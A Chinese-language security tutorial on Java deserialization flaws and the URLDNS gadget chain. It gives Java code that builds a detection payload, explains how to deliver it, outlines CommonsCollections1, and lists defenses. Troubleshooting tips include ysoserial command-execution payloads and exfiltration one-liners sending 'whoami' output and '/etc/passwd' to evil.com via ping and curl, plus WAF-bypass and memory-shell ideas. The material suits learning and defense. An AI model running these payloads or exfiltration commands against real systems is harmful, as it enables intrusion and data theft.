1. 项目概述从一次应急响应说起那天晚上我正在复盘一个内部系统的日志突然告警平台弹出一条异常请求记录。一个看似无害的、指向某个内部管理接口的请求其参数部分包含了一段经过Base64编码的、结构怪异的字符串。直觉告诉我这不对劲。解码后一串熟悉的java.io.Serializable和java.net.URL类名映入眼帘——典型的Java反序列化攻击试探。攻击者试图利用我们系统某个未修复的、或未知的反序列化端点投递一个恶意的序列化对象Payload以期在服务器端执行任意代码。幸运的是我们的WAF规则和代码层面的防护拦截了这次尝试但这件事让我再次深刻意识到理解Java反序列化漏洞的原理特别是从最经典、最直观的利用链入手对于开发、安全和运维人员来说是多么基础且重要的一课。“Java反序列化漏洞解析URLDNS利用链分析”这个主题正是通往这个复杂而危险领域的最佳入口。它不直接追求最高级的、能执行命令的“武器化”利用而是专注于一个更根本的问题如何证明反序列化漏洞确实存在URLDNS链就是解决这个问题的“探测兵”。它利用Java内置类库构造一个在反序列化时会触发DNS查询的Payload。由于DNS查询会走出服务器到达外部的DNS服务器因此我们只需要在外部监听是否有来自目标服务器的DNS解析请求就能以极低的误报率、且完全无需依赖目标服务器特定第三方库的方式确认反序列化漏洞的存在。这对于黑盒测试、红队评估和日常安全巡检来说是一个不可或缺的工具。本文将带你从零开始彻底拆解Java反序列化的机制、漏洞成因并手把手分析、构造和利用URLDNS这条“无害”却极其有用的利用链。2. 反序列化漏洞核心原理深度拆解要理解漏洞必须先理解机制。Java反序列化远不止是ObjectInputStream.readObject()这一行代码那么简单其背后是一套完整的对象重建协议。2.1 序列化与反序列化的本质对象的“冷冻”与“复活”想象一下你要把一个复杂的乐高模型Java对象通过快递发给朋友。你不能把拼好的模型直接扔进箱子它会散架。你需要做的是按照一份特殊的说明书把模型拆解成一块块标准的乐高积木基本数据类型、对象引用等并记录下每块积木的位置和拼接顺序。这份“拆解说明书”就是序列化Serialization的过程生成的二进制数据流就是序列化后的数据。你的朋友收到后根据同一份说明书把积木重新拼回原来的模型这就是反序列化Deserialization。在Java中一个类通过实现java.io.Serializable接口来声明“我可以被拆解和重组”。序列化时ObjectOutputStream会遍历对象图Object Graph将对象的状态成员变量的值和少量的元数据如类描述符写入流。关键点在于它不会保存方法行为的字节码只保存数据状态。反序列化时ObjectInputStream.readObject()扮演了“复活师”的角色。它的核心工作流程如下读取类描述符从流中读取关于对象类的信息。分配内存并创建对象实例JVM会为这个类分配内存但不会调用该类的任何构造函数包括无参构造。对象是通过底层机制直接“塑造”出来的。恢复字段状态根据流中的数据直接填充新创建对象的各个字段包括私有字段。这个过程会递归进行直到整个对象图被重建。调用readObject方法如果存在这是整个机制中最关键的一环如果一个被序列化的类定义了具有特定签名的方法private void readObject(ObjectInputStream in)那么在默认字段填充完成后ObjectInputStream会通过反射调用这个方法。设计这个方法的初衷是让类可以自定义反序列化逻辑例如验证数据的完整性、重新初始化瞬态字段transient等。注意这个自定义的readObject方法就是绝大多数反序列化漏洞的“罪魁祸首”。如果攻击者能够控制反序列化的数据流那么他就能控制传入这个方法的ObjectInputStream参数进而控制该方法内部的执行逻辑。如果该方法内部存在一些危险操作如调用Runtime.exec()、进行网络连接、调用其他对象的方法等并且这些操作的参数依赖于反序列化得到的数据那么漏洞就产生了。2.2 漏洞产生的关键路径信任边界的崩塌在安全的编程实践中反序列化操作应该只发生在高度信任的边界内例如同一个JVM内、使用共享密钥加密和认证的通信双方之间。然而在以下常见场景中这个信任边界极易被打破网络通信使用Java原生序列化协议或其他不安全序列化框架如XMLDecoder、XStream进行RPC、HTTP参数传递、消息队列数据传输。例如Apache Shiro框架将RememberMe Cookie进行Base64AES序列化后传输若密钥泄露或加密机制被绕过即可导致反序列化攻击。文件存储与读取将用户可控的数据以序列化形式存储到文件如session.ser或数据库中后续再读取反序列化。缓存系统某些缓存系统如Redis的客户端可能会将Java对象序列化后存储如果存储内容可控则可能引入风险。漏洞利用的核心可以概括为一个公式可控的反序列化入口 存在危险方法的类Gadget Class 远程代码执行RCE。这里的“危险方法”通常位于自定义readObject、readResolve、或该readObject方法中调用的其他类的方法中。2.3 利用链Gadget Chain的概念单一的“危险类”往往不足以直接构成利用。攻击者需要像玩多米诺骨牌一样精心挑选一系列类将它们组合成一条调用链即“利用链”Gadget Chain。这条链的起点通常是某个在反序列化过程中会被自动调用的方法如HashMap的readObject终点则是能够执行命令或产生其他危害的“sink点”如Runtime.exec()。构造一条利用链需要深入研究JDK和大量第三方库如Commons-Collections, Fastjson, Jackson, Groovy等的源代码找到那些在反序列化时行为可被预测、且能通过属性设置传递到下一个“危险方法”的类。这是一个需要深厚Java功底和耐心的过程。3. URLDNS利用链无害探测的艺术在尝试构造复杂的RCE链之前我们首先需要确认目标是否存在反序列化漏洞。这就是URLDNS链的价值所在。它由安全研究员frohoff提出因其仅使用JDK内置类、无需第三方依赖、且利用效果DNS查询易于在外部观测而成为经典的探测工具。3.1 链式调用原理分析URLDNS链非常简短精悍只涉及两个核心类java.util.HashMap和java.net.URL。它的触发原理如下入口点HashMap#readObject()当反序列化一个HashMap对象时其readObject方法会调用putVal方法来重新计算每个键值对的哈希值并将它们放入哈希表中。计算哈希值的关键是调用键Key对象的hashCode()方法。// HashMap.readObject() 片段简化 for (int i 0; i mappings; i) { K key (K) s.readObject(); V value (V) s.readObject(); putVal(hash(key), key, value, false, false); // 这里会调用 key.hashCode() }关键跳板URL#hashCode()如果我们让HashMap的键Key是一个java.net.URL对象那么在反序列化过程中就会调用URL.hashCode()。URL.hashCode()方法有一个重要特性如果其hashCode字段为-1默认值它会调用URLStreamHandler的hashCode方法而该方法内部会触发getHostAddress()来解析URL的主机名。// URL.hashCode() public synchronized int hashCode() { if (hashCode ! -1) return hashCode; // 如果已计算过直接返回 hashCode handler.hashCode(this); // 这里会触发DNS解析 return hashCode; } // URLStreamHandler.hashCode(URL u) 内部会调用 u.getHostAddress()最终效果DNS查询getHostAddress()方法的核心是InetAddress.getByName(host)这必然会向系统配置的DNS服务器发起一次查询以获取主机名对应的IP地址。因此整条链的触发逻辑是反序列化HashMap- 调用Key(URL对象)的hashCode()-URL.hashCode()因字段为-1而触发handler.hashCode(this)- 调用getHostAddress()- 发起DNS查询。3.2 构造Payload的核心技巧与坑点直接序列化一个URL对象作为HashMap的键并不能成功触发DNS查询。原因在于在序列化之前当你把URL对象放入HashMap时例如调用put(url, value)HashMap的put方法同样会调用url.hashCode()来计算存储位置此时DNS查询就已经发生了。等到反序列化时URL对象的hashCode字段已经是一个计算好的正整数不再是-1因此不会再触发第二次DNS查询。实操心得这是理解URLDNS链构造的第一个关键点。我们的目标是将DNS查询的时机延迟到反序列化时刻而不是在构造Payload的本地机器上就触发。解决方法非常巧妙利用Java反射在将URL对象放入HashMap之后再将其hashCode字段强行改回-1。这样本地put操作时虽然触发了一次DNS查询这发生在我们的可控环境中无关紧要但序列化时保存的状态是hashCode -1。当这个HashMap在目标服务器上被反序列化时URL对象的hashCode为-1就会再次触发DNS查询从而被我们监听到。构造Payload的示例代码如下import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws Exception { // 1. 指定一个我们要让目标服务器解析的域名需要提前搭建DNS日志记录服务 String dnslogUrl http://your-unique-subdomain.dnslog.cn; // 更常见的用法是使用 Burp Suite 的 Collaborator 客户端生成一个临时域名 // 2. 创建URL对象和HashMap URL url new URL(dnslogUrl); HashMapURL, Integer map new HashMap(); // 3. 【关键步骤】在put之前通过反射获取URL的hashCode字段并修改其属性 Field hashCodeField URL.class.getDeclaredField(hashCode); hashCodeField.setAccessible(true); // 绕过private访问限制 // 4. 先将hashCode设置为一个非-1的任意值例如777 // 这样在调用put时URL.hashCode()方法会直接返回777而不会触发DNS查询 hashCodeField.set(url, 777); // 5. 将URL对象放入HashMap map.put(url, 1); // 6. 【关键步骤】将hashCode再改回-1 // 此时map中存储的URL对象的hashCode状态是-1但HashMap的哈希桶是基于之前计算的777来放置的。 // 这没关系因为反序列化时会重新计算哈希。 hashCodeField.set(url, -1); // 7. 序列化HashMap对象 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); byte[] payload baos.toByteArray(); // 8. 模拟攻击将payload发送到目标反序列化端点 // 这里我们本地模拟反序列化观察效果 System.out.println(Payload 长度: payload.length bytes); System.out.println(Payload Base64: java.util.Base64.getEncoder().encodeToString(payload)); // 9. 模拟目标服务器反序列化此处会触发DNS查询 // 在实际测试中你需要将payload发送到目标并在你的DNSLog平台查看解析记录 // ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(payload)); // Object obj ois.readObject(); // 反序列化时目标服务器会向 your-unique-subdomain.dnslog.cn 发起DNS查询 // ois.close(); } }3.3 利用流程与实战注意事项准备监听首先你需要一个能记录DNS查询日志的服务。推荐使用Burp Suite Professional自带的“Burp Collaborator”功能它能生成一个临时子域名并自动捕获所有指向该域名的交互DNS、HTTP、HTTPS。社区版用户可以使用公开的DNSLog平台如dnslog.cn,ceye.io但需注意其公开性和隐私性。生成Payload运行上述代码将dnslogUrl替换为你的监听域名如xxxxxxxxxx.oastify.com。代码会输出序列化后的字节数组及其Base64编码。投递Payload寻找目标系统的反序列化入口点。常见位置包括HTTP请求中名为data、input、obj等参数的Base64或Hex值。Java RMI服务的端口默认1099。JMX服务的端口。Serializable对象存储的缓存或Session。 将生成的Base64字符串作为参数值提交。投递方式可能是POST Body、Cookie、或者其他自定义协议格式。观察结果等待几秒到几分钟查看你的DNSLog平台。如果出现了来自目标服务器IP地址的、对你指定子域名的DNS查询记录那么恭喜你目标存在Java反序列化漏洞注意事项防火墙与出网策略URLDNS探测成功的前提是目标服务器能够访问外网DNS通常是UDP 53端口。如果服务器处于严格的内网环境禁止所有出网流量则DNS查询会失败但这不意味着漏洞不存在只是探测方法失效。Java版本影响URLDNS链基于JDK内置类兼容性极好从Java 1.7到最新的Java 21通常都有效。但在极高版本的JDK中由于模块化或安全管理的增强反射修改私有字段的行为可能受到限制需要调整策略。“无害”的相对性虽然URLDNS本身不执行代码但一次DNS查询仍然是一次网络外联行为在极度敏感的环境中可能触发安全告警。在授权测试中这通常是可以接受的。4. 从URLDNS到复杂利用漏洞挖掘的延伸成功利用URLDNS链确认漏洞存在只是万里长征的第一步。接下来安全研究员的目标是寻找能够实现远程代码执行RCE的真正武器化利用链。这个过程远比URLDNS复杂。4.1 寻找Gadget的常用方法与思路代码审计这是最直接的方法。针对目标系统使用的第三方库如Apache Commons Collections, Fastjson, Jackson, Groovy, Spring等直接阅读其源代码寻找那些实现了Serializable接口并且在readObject、readResolve、equals、hashCode、compareTo或toString等方法中存在“方法调用”传递的类。重点关注那些会调用其他对象方法的操作。动态分析使用自动化工具辅助。经典工具如ysoserial一个集成了多种通用利用链的生成工具本身就包含了发现新链的思路。可以通过在可控环境中反序列化对象并配合Java Agent技术进行动态污点跟踪观察数据流如何从反序列化入口流向危险的Sink点如Runtime.exec,ProcessBuilder.start,Method.invoke等。已知链适配互联网上已经公开了大量针对不同库的利用链如CommonsCollections1-11, Jdk7u21, Jdk8u20等。在实战中需要先识别目标系统的依赖库及其版本然后尝试匹配已知的利用链。使用ysoserial可以方便地生成这些已知链的Payload。4.2 一个简化版的利用链思维模型以最著名的CommonsCollections1链针对Apache Commons Collections 3.2.1为例其核心思想是利用TransformedMap和InvokerTransformer来构造一个命令执行的调用链。Sink点Runtime.getRuntime().exec(cmd)。跳板InvokerTransformer类它可以通过反射调用任意对象的任意方法。我们可以让它调用Runtime的exec方法。触发点TransformedMap或LazyMap在元素被修改如setValue时会调用我们预设的Transformer链。入口点AnnotationInvocationHandlerJDK内部类在反序列化readObject时会遍历一个Map并对元素进行setValue操作。通过将这一系列类像搭积木一样组合起来构造出一个恶意的序列化对象当它被反序列化时就会自动执行我们预设的命令。ysoserial工具已经帮我们完成了这些复杂的组装工作。4.3 防御措施与安全开发建议理解了攻击原理防御就有了方向。以下是在开发和运维中必须采取的措施根本措施避免反序列化不可信数据白名单校验如果业务必须使用Java原生序列化应实现严格的ObjectInputFilterJava 9或自定义的ObjectInputStream通过resolveClass方法校验反序列化的类是否在预定义的白名单内。这是最有效的防御手段。// Java 9 使用 ObjectInputFilter ObjectInputFilter filter ObjectInputFilter.Config.createFilter(com.yourcompany.trusted.*;!*); ObjectInputStream ois new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter);替换序列化方案弃用Java原生序列化改用更安全的数据交换格式如JSONJackson, Gson、Protocol Buffers、Avro等。这些格式通常只处理纯数据不直接关联代码执行。升级与修补及时升级第三方库关注使用的框架和组件如Spring, Apache Commons Collections, Fastjson等的安全公告及时更新到已修复漏洞的版本。例如Commons Collections 3.2.2版本通过将InvokerTransformer等类设置为不可序列化来修复漏洞。使用安全版本JDK高版本JDK如11, 17, 21引入了模块化、更严格的反射限制和增强的过滤器能有效增加漏洞利用的难度。运行时防护应用安全产品RASP在服务器上部署运行时应用自我保护产品它可以在Java虚拟机层面监控危险行为如Runtime.exec的调用即使攻击者利用了未知漏洞0day也能在最后一步进行拦截。严格的网络策略在生产环境中遵循最小权限原则限制服务器不必要的出网连接。这虽然不能防止漏洞被利用但可以阻断攻击者的DNS探测、反弹Shell等外联行为增加攻击成本。5. 常见问题与排查技巧实录在实际的漏洞验证和利用过程中你会遇到各种各样的问题。以下是我在多次实战和测试中积累的一些经验。5.1 URLDNS链不触发DNS查询的排查问题现象可能原因排查步骤与解决方案发送Payload后DNSLog平台长时间无记录。1. 目标不存在反序列化漏洞。2. 目标存在漏洞但Payload构造有误。3. 目标服务器无法出网DNS被防火墙阻断。4. 目标Java环境有特殊安全配置。1.检查Payload确认生成的Base64字符串完整没有截断或编码错误如URL编码问题。用本地程序反序列化一下看是否报错。2.验证DNSLog服务先用ping或nslookup命令手动查询一下你的监听域名确认DNSLog服务本身是正常的。3.尝试HTTP监听如果怀疑是DNS出网问题可以尝试使用能同时记录HTTP请求的监听服务如Burp Collaborator并构造一个会在反序列化时发起HTTP请求的利用链如CommonsCollections链配合URLClassLoader进行测试。4.检查Java版本极高版本JDK可能对URL类的行为有细微调整但URLDNS链通常仍有效。可以尝试在本地用与目标相近的JDK版本测试Payload。DNS查询记录中的源IP不是目标服务器IP。1. 目标服务器所在网络存在出口NAT或代理。2. 目标应用部署在容器或云函数中网络架构复杂。1. 这通常是正常现象只要确认查询的域名是你的唯一子域名即可说明漏洞触发成功。源IP可能是负载均衡器或云服务商的网关IP。5.2 使用ysoserial生成Payload的注意事项ysoserial是一个强大的工具但使用不当会导致失败甚至暴露自己。版本匹配ysoserial中的每条链都有其适用的库版本范围。例如CommonsCollections1链只适用于Commons Collections 3.1到3.2.1版本。使用前务必通过信息收集如报错信息、文件泄露确定目标的依赖版本。命令编码与空格在生成Payload时如果命令中包含空格或特殊字符需要进行适当的编码或引用。在Linux下可以使用Base64编码命令来避免问题。# 错误示例空格可能导致命令被截断 java -jar ysoserial.jar CommonsCollections1 ping -c 1 evil.com payload.bin # 更好示例使用Base64编码 echo -n ping -c 1 evil.com | base64 # 假设输出是 cGluZyAtYyAxIGV2aWwuY29t java -jar ysoserial.jar CommonsCollections1 bash -c {echo,cGluZyAtYyAxIGV2aWwuY29t}|{base64,-d}|{bash,-i} payload.binPayload长度与传输限制某些利用链生成的Payload体积很大几十KB到几百KB可能会被目标系统的HTTP头大小限制、WAF或输入长度校验拦截。可以尝试使用更短的命令或者寻找更精简的利用链如CommonsCollections6通常比CommonsCollections1短。盲打与无回显利用很多时候即使命令执行成功你也看不到任何输出无回显。这时需要采用“盲注”技巧DNS外带使用curl、ping或nslookup将命令执行结果例如whoami的输出编码后作为子域名的一部分发出。ping $(whoami).evil.com然后在DNS日志中查看解析的主机名。HTTP外带使用curl或wget将结果发送到你的HTTP服务器。curl http://evil.com/$(cat /etc/passwd | base64)。时间延迟通过sleep命令判断命令是否执行。ping -c 1 evil.com sleep 5如果5秒后收到DNS查询说明前半部分执行成功。5.3 防御绕过与高级对抗随着防御手段的普及攻击技术也在进化。绕过WAF/过滤器WAF可能会检测序列化数据的魔数AC ED 00 05或常见的类名。可以尝试编码/加密对Payload进行多层Base64、Hex、Gzip等编码。分片传输将Payload拆分成多个部分在应用层重组。修改魔数极少数情况下可以尝试修改序列化流的开头几个字节但需要目标应用有相应的解析容错。寻找非标准入口点除了常见的HTTP参数还可以关注JMXJava管理扩展端口如1099, 9012。RMI远程方法调用注册表默认1099。自定义协议一些基于TCP的私有协议可能使用了Java序列化。文件上传如果应用会反序列化上传的文件如某些工作流引擎。内存马注入在成功执行命令后高级攻击者不满足于一次性命令而是向服务器内存中注入一个持久化的后门内存马例如一个Filter型或Controller型的恶意Servlet/Interceptor从而获得持续的、隐蔽的控制能力。这需要深入理解Java Web容器的内存结构。理解URLDNS链是打开Java反序列化漏洞这座冰山的一角。它教会我们的不仅仅是探测技巧更是一种由果溯因、层层递进的安全研究思维方式。从确认漏洞存在到分析组件依赖再到寻找和组装利用链最后实现深度利用和持久化每一步都充满了挑战和乐趣。对于开发者而言深刻理解其原理才能在设计之初就筑牢防线对于安全人员而言掌握这些技术才能更有效地发现和防御风险。安全之路道阻且长行则将至。